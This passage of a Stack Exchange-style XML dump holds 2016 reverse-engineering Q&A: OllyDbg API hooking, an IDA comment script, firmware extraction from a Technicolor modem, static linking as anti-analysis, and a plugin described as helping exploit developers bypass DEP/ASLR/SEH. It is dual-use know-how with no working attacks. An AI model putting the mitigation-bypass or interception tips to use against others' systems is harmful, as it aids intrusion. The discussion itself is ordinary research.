  <row Id="13550" PostTypeId="2" ParentId="13539" CreationDate="2016-09-22T15:40:07.743" Score="1" Body="&lt;p&gt;Generally system programming is not required, but recommended...&#xA;It is also important to understand the application flow, the CPU architecture (stack, heap, exceptions), file format (PE, ELF).&#xA;I suggest two good resource:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Crackmes.de&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reverse engineering for beginners - &lt;a href=&quot;https://beginners.re/RE4B-EN.pdf&quot; rel=&quot;nofollow&quot;&gt;https://beginners.re/RE4B-EN.pdf&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;tuts4you - &lt;a href=&quot;https://tuts4you.com/download.php?list.17&quot; rel=&quot;nofollow&quot;&gt;https://tuts4you.com/download.php?list.17&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4275" LastEditorUserId="10058" LastEditDate="2016-09-29T21:23:01.473" LastActivityDate="2016-09-29T21:23:01.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13551" PostTypeId="1" CreationDate="2016-09-22T15:47:49.317" Score="1" ViewCount="173" Body="&lt;p&gt;I've been trying to apply hooks on Win32 &lt;code&gt;ReadFile&lt;/code&gt; so I can read the buffer and the params,however am not even sure whether the output is correct since it doesn't matchup with the stack-view pane nor the input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can confirm whether am doing it right I'll be most thankful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot test this code properly atm since the modem I was using got bricked. Using local files as input for &lt;code&gt;Readfile&lt;/code&gt; is giving me junk output in the log window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// === break on load module ===&#xA;mov sApi, &quot;ReadFile&quot;&#xA;mov sDLL, &quot;kernel32&quot;&#xA;gpa sApi, sDLL&#xA;&#xA;// store address&#xA;mov handle, $RESULT&#xA;log handle&#xA;        cmp handle, 0&#xA;je abort&#xA;&#xA;&#xA;&#xA;lbl_bp:&#xA;// run&#xA;go handle&#xA;&#xA;    mov adrRet, [esp]&#xA;    mov hFile, [esp+4.]&#xA;    mov InBuffer,  [esp+8.]&#xA;    mov nNumberOfBytesToRead, [esp+12.]&#xA;    mov lpNumberOfBytesRead, [esp+16.]&#xA;    mov lpOverlapped, [esp+20.]&#xA;&#xA;    log InBuffer&#xA;    log hFile&#xA;    log nNumberOfBytesToRead&#xA;    log lpNumberOfBytesRead&#xA;    log lpOverlapped&#xA;&#xA;    cmp InBuffer,0&#xA;    je noIn &#xA;&#xA;    mov INN, [InBuffer], nNumberOfBytesToRead&#xA;    log INN&#xA;&#xA;&#xA;&#xA;    jmp lbl_bp&#xA;&#xA; noIn:  &#xA;    jmp lbl_bp&#xA;&#xA;abort:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17530" LastEditorUserId="17530" LastEditDate="2016-09-22T15:54:39.407" LastActivityDate="2018-06-15T18:54:56.957" Title="Ollydbg| Inconsistent results as compared to the stack view pane" Tags="|ollydbg|ollyscript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13552" PostTypeId="1" AcceptedAnswerId="13553" CreationDate="2016-09-22T15:57:16.177" Score="0" ViewCount="415" Body="&lt;p&gt;I have jail-broken my iPhone with Cydia store. In cydia store I have checked and I see &lt;code&gt;cycrypt&lt;/code&gt; has installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I ssh to my iPhone and try to run command &lt;code&gt;cycrypt&lt;/code&gt; I receive the following error, indicating cycrypt is not installed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-sh: cycrypt: command not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="17531" LastEditorUserId="2147" LastEditDate="2016-09-22T21:00:25.453" LastActivityDate="2016-09-22T21:00:25.453" Title="ios jailbreak: command cycrypt not found" Tags="|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13553" PostTypeId="2" ParentId="13552" CreationDate="2016-09-22T20:58:12.080" Score="3" Body="&lt;p&gt;The command you're trying to use is &lt;code&gt;cycript&lt;/code&gt;, not &lt;code&gt;cycrypt&lt;/code&gt;. Notice the &lt;strong&gt;i&lt;/strong&gt; instead of your second &lt;strong&gt;y&lt;/strong&gt;. That's why your ssh session fails executing it.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-22T20:58:12.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13555" PostTypeId="2" ParentId="12611" CreationDate="2016-09-23T00:19:04.450" Score="1" Body="&lt;p&gt;you can use &lt;code&gt;[OllySEH plugin][1]&lt;/code&gt; by Zer0Flag, &lt;code&gt;OllySEH&lt;/code&gt; is a little plugin for OllyDbg 2.01 which should help exploit developers to find Modules which they can use to bypass different anti-bof techniques.&lt;br&gt;&#xA;    [+] display state for DEP&lt;br&gt;&#xA;    [+] display state for ALSR&lt;br&gt;&#xA;    [+] display state for SEH&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eGFql.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eGFql.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12693" LastActivityDate="2016-09-23T00:19:04.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13556" PostTypeId="1" CreationDate="2016-09-23T02:26:04.410" Score="0" ViewCount="803" Body="&lt;p&gt;A lot of reverse engineering tutorials I've seen involve using the import address table to determine what functions a program calls based on which libraries it imports.  But doesn't static linking a binary cause the libraries to be copied directly into the image, thus leaving the IAT blank?  If so, wouldn't linking an executable statically at least make reverse engineering more difficult?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking because I haven't seen static linking mentioned as an anti-RE method.  Is it effective in that role, or are libraries still listed in the IAT despite static linking?&lt;/p&gt;&#xA;" OwnerUserId="17537" LastActivityDate="2016-09-23T19:02:42.790" Title="Static Linking as an anti-RE method?" Tags="|disassembly|windows|binary-analysis|x86|decompilation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13557" PostTypeId="2" ParentId="6440" CreationDate="2016-09-23T02:52:45.720" Score="5" Body="&lt;p&gt;I don't see this above, but male or female is coded in as well. in the last five digits, the first 2 are month of birth. Males are  01-12. Females 50 is added. so the run from 51 (january) to 62 (december)&#xA;Also, my name is Alexandra, which is also 019 as is your example of alexander.&#xA;   The absence of a middle name is reflected as 00&#xA;i know a friend with middle name alexandra has 61 = (ii)&#xA;another, is Serafina middle name 82 = (ii)&#xA;another, is Dorothy middle name  64 = (ii)&#xA;I would suggest collecting more name samples to compare&lt;/p&gt;&#xA;" OwnerUserId="17538" LastActivityDate="2016-09-23T02:52:45.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13558" PostTypeId="2" ParentId="13539" CreationDate="2016-09-23T03:23:16.477" Score="0" Body="&lt;p&gt;You need to know the basic general principles behind system programming for each OS you're interested in - e.g. what a system call is and, say, maybe how virtual memory is managed. With time you will identify areas of system programming you are more interested in for your day to day work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;APIs - treat them as reference to look up specifics of each call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to learn reversing is to reverse a lot. Studying encyclopaedias is a sure way of procrastination :)&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-09-23T03:23:16.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13559" PostTypeId="2" ParentId="13556" CreationDate="2016-09-23T05:02:10.060" Score="1" Body="&lt;p&gt;Its true function symbols are a great help when reversing unknown executables and static linking omits these symbols. On the other hand, there are techniques like &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA F.L.I.R.T&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These techniques try to determine if a function is a known library function through the use of signatures. In recent research, there are other approaches using machine learning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So effectively, you won't trick a reverse engineer with it. Dynamic loading is a whole other method and may take more time to reverse, depending on its implementation. &lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2016-09-23T05:02:10.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13560" PostTypeId="2" ParentId="13551" CreationDate="2016-09-23T08:01:05.477" Score="1" Body="&lt;p&gt;It works !.&#xA;I just used a different api  function. But don't use the above where there is no input, as the &lt;code&gt;nNumberOfBytesToRead&lt;/code&gt; will cause olly to allocate an unknown size of memory since the variable has not been initialized, hence the crashes.&#xA;Or at-least initialize the variable before using it.&lt;/p&gt;&#xA;" OwnerUserId="17530" LastActivityDate="2016-09-23T08:01:05.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13561" PostTypeId="2" ParentId="13556" CreationDate="2016-09-23T08:45:14.667" Score="2" Body="&lt;p&gt;You can't really use static linking for system APIs on Windows because syscall numbers change from one release to another. You pretty much have to go through one of the system DLLs in the end.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-09-23T08:45:14.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13562" PostTypeId="2" ParentId="13545" CreationDate="2016-09-23T12:10:59.650" Score="1" Body="&lt;p&gt;Please try &lt;a href=&quot;https://ohse.de/uwe/software/lrzsz.html&quot; rel=&quot;nofollow&quot;&gt;https://ohse.de/uwe/software/lrzsz.html&lt;/a&gt;&#xA;And also, read about kermit, xmodem, ymodem and zmodem protocols - these are file transfer protocols over serial lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;U-boot has a support to receive files with &quot;loady&quot; command. We use it together with &lt;code&gt;lsz&lt;/code&gt; command from &lt;code&gt;lrzsz&lt;/code&gt; package, to update the bootloader.&#xA;I cannot see any support for sending files, but with good understanding of the *modem protocol, you could emulate proper string to activate minicom's file transfer and send whole file to your computer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;u-boot =&amp;gt; help loady&#xA;loady - load binary file over serial line (ymodem mode)&#xA;&#xA;Usage:&#xA;loady [ off ] [ baud ]&#xA;- load binary file over serial line with offset 'off' and baudrate 'baud'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second solution might be enabling minicom's logging to file, print the whole memory region with u-boot's &lt;code&gt;md&lt;/code&gt; command, and then parse the log file with a script to convert from ascii to real bytes.&lt;/p&gt;&#xA;" OwnerUserId="1713" LastActivityDate="2016-09-23T12:10:59.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13566" PostTypeId="1" CreationDate="2016-09-23T15:44:48.050" Score="3" ViewCount="4125" Body="&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com&quot; rel=&quot;nofollow&quot;&gt;Hex-Rays&lt;/a&gt;, providers of IDA Disassembler, offers a companion product called &lt;a href=&quot;https://www.hex-rays.com/products/decompiler&quot; rel=&quot;nofollow&quot;&gt;Hex-Rays Decompiler&lt;/a&gt; (not to be confused with &lt;em&gt;HexRaysCodeXplorer&lt;/em&gt;, a plugin for the Decompiler plugin rather than for IDA itself).  I would like to evaluate Hex-Rays Decompiler, but have found no means of doing so without purchasing a license for IDA Disassembler.  And the lowest price I can find for that is $589 or $1129 for 64 bit support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hex-Rays states that &lt;a href=&quot;https://www.hex-rays.com&quot; rel=&quot;nofollow&quot;&gt;IDA is also the solid foundation on which our second product, the Hex-Rays decompiler, is built&lt;/a&gt;. But while Hex-Rays offers both &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_demo.shtml&quot; rel=&quot;nofollow&quot;&gt;a demo version of IDA&lt;/a&gt; and &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA 5.0 Freeware&lt;/a&gt;, neither comes with the Decompiler, and I haven't found the Hex-Rays Decompiler available for sale or download separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much of what attracts me to Hex-Rays is its decompiler, but it's difficult to justify purchasing IDA Disassembler just to evaluate Hex-Rays Decompiler.  So, &lt;em&gt;how do I evaluate Hex-Rays Decompiler without purchasing IDA Disassembler for $589?&lt;/em&gt;  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="17532" LastEditorUserId="17532" LastEditDate="2016-09-23T17:55:52.423" LastActivityDate="2017-10-07T06:37:20.853" Title="How do I evaluate Hex-Rays Decompiler without purchasing IDA Disassembler?" Tags="|ida|decompilation|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13567" PostTypeId="2" ParentId="13513" CreationDate="2016-09-23T16:26:07.717" Score="2" Body="&lt;p&gt;Here's an incomplete script to do this, for x86:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;/*&#xA;    Project name: Pseudo instruction adder 1.0&#xA;&#xA;    Author: fastman92&#xA;*/&#xA;&#xA;#define true 1&#xA;#define false 0&#xA;&#xA;&#xA;#define ARCHITECTURE_TYPE_X86 1&#xA;#define ARCHITECTURE_TYPE_X64 2&#xA;&#xA;extern architectureType;&#xA;extern pointerSize;&#xA;&#xA;static MakeInstructionComment_x86(ea)&#xA;{&#xA;    auto mnem = GetMnem(ea);&#xA;&#xA;    auto op0 = GetOpnd(ea, 0);&#xA;    auto op1 = GetOpnd(ea, 1);&#xA;&#xA;    auto comment = &quot;&quot;;&#xA;&#xA;    if(mnem == &quot;push&quot;)&#xA;        comment = sprintf(&quot;ESP -= 4; *(int32_t*)ESP = %s;&quot;, op0);&#xA;    else if(mnem == &quot;mov&quot;)&#xA;        comment = sprintf(&quot;%s = %s;&quot;, op0, op1);&#xA;    else if(mnem == &quot;lea&quot;)&#xA;        comment = sprintf(&quot;%s = address(%s);&quot;, op0, op1);&#xA;    else if(mnem == &quot;jmp&quot;)&#xA;        comment = sprintf(&quot;goto %s;&quot;, op0);&#xA;    else if(mnem == &quot;pop&quot;)&#xA;        comment = sprintf(&quot;%s = *(int32_t*)ESP; ESP += 4;&quot;, op0);&#xA;    else if(mnem == &quot;leave&quot;)&#xA;        comment = &quot;EBP = *(int32_t*)ESP; ESP += 4;&quot;;&#xA;    else if(mnem == &quot;retn&quot;)&#xA;        comment = &quot;return;&quot;;&#xA;    else if(mnem == &quot;sub&quot;)&#xA;        comment = sprintf(&quot;%s -= %s;&quot;, op0, op1);&#xA;    else if(mnem == &quot;shr&quot;)&#xA;        comment = sprintf(&quot;%s = %s &amp;gt;&amp;gt; %s;&quot;, op0, op0, op1);&#xA;    else if(mnem == &quot;shl&quot;)&#xA;        comment = sprintf(&quot;%s = %s &amp;lt;&amp;lt; %s;&quot;, op0, op0, op1); &#xA;    else if(mnem == &quot;and&quot;)&#xA;        comment = sprintf(&quot;%s &amp;amp;= %s;&quot;, op0, op1);&#xA;    else if(mnem == &quot;or&quot;)&#xA;        comment = sprintf(&quot;%s |= %s;&quot;, op0, op1);&#xA;    else if(mnem == &quot;xor&quot;)&#xA;        comment = sprintf(&quot;%s ^= %s;&quot;, op0, op1);&#xA;    else if(mnem == &quot;not&quot;)&#xA;        comment = sprintf(&quot;%s = ~%s;&quot;, op0, op0);&#xA;    else if(mnem == &quot;cmp&quot;)&#xA;        comment = sprintf(&quot;EFL = cmp(%s, %s);&quot;, op0, op1);&#xA;    else if(mnem == &quot;test&quot;)&#xA;        comment = sprintf(&quot;EFL = test(%s, %s);&quot;, op0, op1);&#xA;&#xA;    else if(mnem == &quot;jnb&quot;)&#xA;        comment = &quot;goto, if A &amp;gt;= B;&quot;;&#xA;    else if(mnem == &quot;jz&quot;)&#xA;        comment = &quot;goto, if A == B;&quot;;&#xA;    else if(mnem == &quot;jnz&quot;)&#xA;        comment = &quot;goto, if A != B;&quot;;&#xA;    else if(mnem == &quot;jb&quot;)&#xA;        comment = &quot;goto, if A &amp;lt; B;&quot;;&#xA;    else if(mnem == &quot;jbe&quot;)&#xA;        comment = &quot;goto, if A &amp;lt;= B;&quot;;&#xA;    else if(mnem == &quot;jl&quot;)&#xA;        comment = &quot;goto, if A &amp;lt; B;&quot;;&#xA;    else if(mnem == &quot;ja&quot;)&#xA;        comment = &quot;goto, if A &amp;gt; B;&quot;;&#xA;    else if(mnem == &quot;js&quot;)&#xA;        comment = &quot;goto, if A &amp;lt; 0;&quot;;&#xA;&#xA;&#xA;    else if(mnem == &quot;pusha&quot;)&#xA;        comment = &quot;saveAllGeneralRegisterValues()&quot;;&#xA;    else if(mnem == &quot;popa&quot;)&#xA;        comment = &quot;restoreAllGeneralRegisterValues()&quot;;&#xA;&#xA;    else if(mnem == &quot;stc&quot;)&#xA;        comment = &quot;setCarryFlag();&quot;;&#xA;    else if(mnem == &quot;clc&quot;)&#xA;        comment = &quot;clearCarryFlag();&quot;;&#xA;    else if(mnem == &quot;cmps&quot;)&#xA;        comment = &quot;memcmp;&quot;;&#xA;    else if(mnem == &quot;movs&quot;)&#xA;        comment = &quot;memset;&quot;;&#xA;&#xA;    else if(mnem == &quot;nop&quot;)&#xA;        comment = &quot;;&quot;;&#xA;&#xA;    else if(mnem == &quot;call&quot;)&#xA;        comment = sprintf(&quot;call %s&quot;, op0);  &#xA;    else if(mnem == &quot;inc&quot;)&#xA;        comment = sprintf(&quot;%s++;&quot;, op0);&#xA;    else if(mnem == &quot;dec&quot;)&#xA;        comment = sprintf(&quot;%s--;&quot;, op0);&#xA;    else if(mnem == &quot;add&quot;)&#xA;        comment = sprintf(&quot;%s += %s;&quot;, op0, op1);&#xA;    else&#xA;    {&#xA;        // Message(&quot;unknown: 0x%X mnem: %s\n&quot;, ea, mnem);&#xA;        return true;&#xA;    }&#xA;&#xA;    MakeComm(ea, comment);&#xA;&#xA;    // Message(&quot;0x%X: %s\n&quot;, ea, comment);&#xA;    return true;&#xA;}&#xA;&#xA;static MakeInstructionComment(ea)&#xA;{&#xA;    if(architectureType == ARCHITECTURE_TYPE_X86)&#xA;        return MakeInstructionComment_x86(ea);      &#xA;}&#xA;&#xA;static main()&#xA;{&#xA;    architectureType = ARCHITECTURE_TYPE_X86;&#xA;&#xA;    if(architectureType == ARCHITECTURE_TYPE_X86)&#xA;    {&#xA;        pointerSize = 4;&#xA;    }&#xA;&#xA;&#xA;    Message(&quot;Start of pseudo instruction adder by fastman92\n&quot;);&#xA;&#xA;    auto seg, loc;&#xA;&#xA;    Message(&quot;========================================\n&quot;);&#xA;&#xA;    seg = FirstSeg();   // Get address pointed by a first segment&#xA;&#xA;    auto shouldBreak = false;&#xA;&#xA;    while(seg != BADADDR )&#xA;    {   &#xA;        Message(&quot;----------------------------------------\n&quot;);&#xA;&#xA;        loc = SegStart(seg);        &#xA;&#xA;        Message(&quot;Adding pseudo code comments in segment %s\n&quot;, SegName(seg));&#xA;&#xA;&#xA;        while(loc != BADADDR &amp;amp;&amp;amp; loc &amp;lt; SegEnd(seg))&#xA;        {                           &#xA;            if(isCode(GetFlags(loc)))&#xA;            {&#xA;                shouldBreak = !MakeInstructionComment(loc);&#xA;&#xA;                if(shouldBreak)&#xA;                    break;&#xA;            }&#xA;&#xA;            loc = NextHead(loc, BADADDR);           &#xA;        }&#xA;&#xA;&#xA;        if(shouldBreak)&#xA;            break;&#xA;&#xA;        seg = NextSeg(seg);     // get address of the next segment&#xA;    }&#xA;&#xA;    Message(&quot;End of pseudo instruction adder by fastman92\n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17534" LastActivityDate="2016-09-23T16:26:07.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13570" PostTypeId="2" ParentId="13538" CreationDate="2016-09-24T00:27:52.220" Score="2" Body="&lt;p&gt;It would help if I knew what the data represented, but I have determined the format of the files once unzipped.  Each unzipped file has this structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;short unk1;           // 10&#xA;short num_records;    // 8751  (8760 hours per year)&#xA;short unk2;           // 0&#xA;short num_samples;    // varies per file from 8 to 179&#xA;short unk3;           // 0&#xA;short unk4;           // 40&#xA;short unk5;           // 1000&#xA;short unk6;           // 100&#xA;int data_bytecount;   // varies per file (remaining byte count of the file)&#xA;Record records[num_records];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where each Record is defined as: (defined as an 010Editor template)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct {&#xA;    byte flag;                // 0 = no data; 1 = sample data follows&#xA;    if(flag == 1)&#xA;        short data[num_samples];&#xA;} Record;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, in the first file unzipped from &quot;295&quot;, there are 8751 records with 179 samples each.  Most records only have ~30 non-zero values.  The samples for records[0] look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;15185, 15185, 15060, 14968, 14719, 14583, ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FWdqv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FWdqv.png&quot; alt=&quot;File#1 from &amp;quot;295&amp;quot;, Record 0&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the data values are normalized floats, perhaps dividing them by 1000.0 or using 16384 as a zero reference for positive/negative numbers.  I also suspect each file contains 1 year's worth of records with 1 per hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be interested in knowing what the values represent ... just to have a complete picture.&lt;/p&gt;&#xA;" OwnerUserId="2741" LastActivityDate="2016-09-24T00:27:52.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13571" PostTypeId="2" ParentId="13566" CreationDate="2016-09-24T04:39:55.293" Score="9" Body="&lt;p&gt;Hex-Rays Decompiler is an addition\extension for IDA Pro  and I doubt it can work as a separate standalone  product. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see &quot;Prerequisites&quot; part of Hex-Rays Decompiler Manual:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;The decompiler requires the latest version of IDA...&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/prereq.shtml&quot;&gt;https://www.hex-rays.com/products/decompiler/manual/prereq.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this question, IMO, should be addressed to the Hex-Rays Sales Department. &lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2016-09-24T04:39:55.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13574" PostTypeId="2" ParentId="13335" CreationDate="2016-09-24T11:31:48.460" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture&amp;amp;hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Packet capture&lt;/a&gt; is much better, allows you to log raw network traffic from specific apps on all ports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Capture network packets and record them.&lt;/li&gt;&#xA;&lt;li&gt;SSL decryption using man-in-the-middle technique.&lt;/li&gt;&#xA;&lt;li&gt;No root required.&lt;/li&gt;&#xA;&lt;li&gt;Easy to use.&lt;/li&gt;&#xA;&lt;li&gt;Show packet in either hex or text.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/40JF0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/40JF0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17530" LastEditorUserId="17530" LastEditDate="2016-09-24T11:36:56.270" LastActivityDate="2016-09-24T11:36:56.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13575" PostTypeId="1" AcceptedAnswerId="13602" CreationDate="2016-09-24T13:51:18.453" Score="3" ViewCount="1997" Body="&lt;p&gt;Ok, so I have been trying to dump the contents of a Technicolor TG799vac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have removed the flash chip and read out the chip using the DumpFlash.py utility&#xA;and used binwalk to locate the Squashfs File system &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;39436         0x9A0C          SHA256 hash constants, big endian&#xA;31764480      0x1E4B000       JFFS2 filesystem, big endian&#xA;32013764      0x1E87DC4       JFFS2 filesystem, big endian&#xA;32242272      0x1EBFA60       JFFS2 filesystem, big endian&#xA;36765696      0x2310000       Squashfs filesystem, little endian, version 4.0, compression:xz, size: 14928222 bytes, 3253 inodes, blocksize: 262144 bytes, created: 2016-06-28 03:08:22&#xA;51709334      0x3150596       xz compressed data&#xA;51855814      0x31741C6       xz compressed data&#xA;51922474      0x318462A       xz compressed data&#xA;52004354      0x3198602       xz compressed data&#xA;52046150      0x31A2946       xz compressed data&#xA;52047662      0x31A2F2E       xz compressed data&#xA;52091472      0x31ADA50       xz compressed data&#xA;52093306      0x31AE17A       xz compressed data&#xA;52095388      0x31AE99C       xz compressed data&#xA;52097286      0x31AF106       xz compressed data&#xA;52099504      0x31AF9B0       xz compressed data&#xA;52101750      0x31B0276       xz compressed data&#xA;52103748      0x31B0A44       xz compressed data&#xA;52106574      0x31B154E       xz compressed data&#xA;52108628      0x31B1D54       xz compressed data&#xA;52110506      0x31B24AA       xz compressed data&#xA;52112416      0x31B2C20       xz compressed data&#xA;52114650      0x31B34DA       xz compressed data&#xA;52116652      0x31B3CAC       xz compressed data&#xA;52118514      0x31B43F2       xz compressed data&#xA;52118772      0x31B44F4       xz compressed data&#xA;52122718      0x31B545E       xz compressed data&#xA;52126772      0x31B6434       xz compressed data&#xA;52131218      0x31B7592       xz compressed data&#xA;52135620      0x31B86C4       xz compressed data&#xA;52138550      0x31B9236       xz compressed data&#xA;52141480      0x31B9DA8       xz compressed data&#xA;52144930      0x31BAB22       xz compressed data&#xA;52148772      0x31BBA24       xz compressed data&#xA;52152506      0x31BC8BA       xz compressed data&#xA;52153220      0x31BCB84       xz compressed data&#xA;52153882      0x31BCE1A       xz compressed data&#xA;52155856      0x31BD5D0       xz compressed data&#xA;52157758      0x31BDD3E       xz compressed data&#xA;52159824      0x31BE550       xz compressed data&#xA;137234956     0x82E0A0C       SHA256 hash constants, big endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;dd&lt;/code&gt; to extract the Image: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ dd  if=Modem.img bs=1 skip=36765696 count=14928222 of=Modem.squashfs&#xA;14928222+0 records in&#xA;14928222+0 records out&#xA;14928222 bytes (15 MB) copied, 22.0777 s, 676 kB/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to &lt;code&gt;unsuqashfs&lt;/code&gt; the image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ unsquashfs -s Modem.squashfs&#xA;Found a valid SQUASHFS 4:0 superblock on Modem.squashfs.&#xA;Creation or last append time Tue Jun 28 13:08:22 2016&#xA;Filesystem size 14578.34 Kbytes (14.2 Mbytes)&#xA;Compression xz&#xA;xz: error reading stored compressor options from filesystem! &#xA;Block size 262144 &#xA;Filesystem is exportable via NFS                                                                           Inodes are compressed&#xA;Data is compressed                                                                    Fragments are compressed                                                                  Always-use-fragments option is not specified                                                                     Xattrs are not stored                                                                        Duplicates are Removed                                                                       Number of fragments 85                                                                            Number of inodes 3253                                                                         Number of ids 1&#xA;&#xA;$ unsquashfs -d squash-root1  Modem.squashfs&#xA;Parallel unsquashfs: Using 4 processors&#xA;Lseek failed because Invalid argument&#xA;read_block: failed to read block @0x71eed2525ee8f30e&#xA;read_uids_guids: failed to read id table block&#xA;FATAL ERROR:failed to uid/gid table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, it failed. So, I tried to extract with &lt;code&gt;firmware-mod-kit&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./unsquashfs_all.sh ~/projects/Telstra/DumpFlash/Modem.squashfs ~/projects/Telstra/DumpFlash/Squashfs/&#xA;&#xA;Attempting to extract SquashFS .X file system...&#xA;&#xA;Trying ./src/squashfs-2.1-r2/unsquashfs-lzma... &#xA;Trying ./src/squashfs-2.1-r2/unsquashfs... &#xA;Trying ./src/squashfs-3.0/unsquashfs-lzma... &#xA;Trying ./src/squashfs-3.0/unsquashfs... &#xA;Trying 